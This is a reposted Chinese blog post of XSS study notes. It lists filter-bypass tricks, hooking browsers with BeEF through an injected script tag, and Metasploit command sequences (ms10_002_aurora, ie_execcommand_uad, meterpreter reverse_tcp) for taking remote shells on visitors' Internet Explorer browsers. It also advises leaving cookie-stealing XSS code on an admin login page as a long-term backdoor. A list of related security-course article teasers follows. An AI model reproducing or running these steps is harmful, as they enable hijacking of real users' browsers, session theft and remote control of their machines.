网络安全-XSS笔记

XSS绕过限制：
1、绕过magic_quotes_gpc
可使用javascript中的String.fromCharCode()
<script>String.fromCharCode()</scrip>
2、HEX编码
十六进制编码
https://textmechanic.com/ASCII-Hex-Unicode-Base64-Convertor.html
https://www.asciitohex.com/
3、改变大小写
4、关闭标签
5、AWVS 扫描

Kali Linux Beef劫持客户端浏览器:
cd /usr/share/beef-xss 进入目录
ls 查看目录
./beef 运行beef
UI URL:管理网址浏览器打开账号密码默认beef
Hook URL: 恶意代码
使用:
<script src="Hook URL"></script>
管理端 Commands Redirect Browser

beef+msf拿客户端shell (ie6 xp)
cd /usr/share/beef-xss 进入目录
./ beef 运行beef
msfconsole 运行msf

msf下执行:
use windows/browser/ms10_002_aurora
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set SRVHOST 客户端将要访问的IP
set SRVPORT 将要访问的端口
set URIPATH / 网站根目录
set LHOST 客户端回连IP
set LPORT 客户端回连端口
exploit

Using URL 为要让客户端访问的url,beef里设置

session -i 查看得到的shell
session -1 id 查看固定id的shell

shell 拿到权限

beef+msf拿客户端shell (ie7、8、9)
msf下
use exploit/windows/browser/ie_execcommand_uad
show options
set SRVHOST 回连ip
set SRVPORT 回连端口
set URIPATH /
exploit

XSS漏洞扫描工具
WVS
椰树
safe3
Xelenium
w3af
vega
xss扫描插件+burp

长期留后门，可将XSS获取cookie代码留在管理登录页面

Xss平台搭建
使用工具:
wamp2.2+xss.me源码

转载于:https://blog.51cto.com/3945465/2140843

网络安全-XSS笔记相关推荐

千锋教育网络安全课程笔记
网络安全课程笔记 1.虚拟环境部署 1.1 虚拟机的运行架构寄居架构(适合用于学习) (这里的硬件就是我们的笔记本电脑) 虚拟机跟真实机是互相独立的,一些危险的程序放到虚拟机里面运行是不会影响到真实 ...
[网络安全学习篇10]：扫描技术、暴力破解工具（千峰网络安全视频笔记 10 day）
引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...
[网络安全学习篇2]：IP详解及简单的DOS命令（千峰网络安全视频笔记 2 day）
引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...
小白的网络安全可视化笔记（二）
小白的网络安全数据可视化笔记小白的网络安全可视化笔记关于数据清洗整理方案: 网络安全态势评估法网络安全态势评估方法及定义基于HMM的安全传感器报警处理方法引用小白的网络安全可视化笔记再 ...
网络安全学习笔记（适合初学者）
网络安全学习笔记一. Ip欺骗(IP spoof)及防范原则 IP[地址]欺骗被用来从事非法活动,破坏网络安全,黑客使用IP欺骗就不会被抓到,还有一些黑客进行Dos攻击的时候,就可以隐藏真实的IP, ...
【小迪安全】web安全｜渗透测试｜网络安全 | 学习笔记-终
后续笔记仔细看了下,放出来铁过不了审核,等有时间一点点删了再放出来. [小迪安全]web安全|渗透测试|网络安全 | 学习笔记-8 已经被封了=.= 把目录写上,假装过审核了. 接下来是持续八天的-- ...
[网络安全学习篇6]：WEB服务器和FTP服务器（千峰网络安全视频笔记 6 day）
引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...
[网络安全学习篇21]：防火墙（千峰网络安全视频笔记 21 day）
引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...
[网络安全学习篇18]：ACL及实验（千峰网络安全视频笔记 18 day）
引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...

网络安全-XSS笔记

网络安全-XSS笔记相关推荐

最新文章

热门文章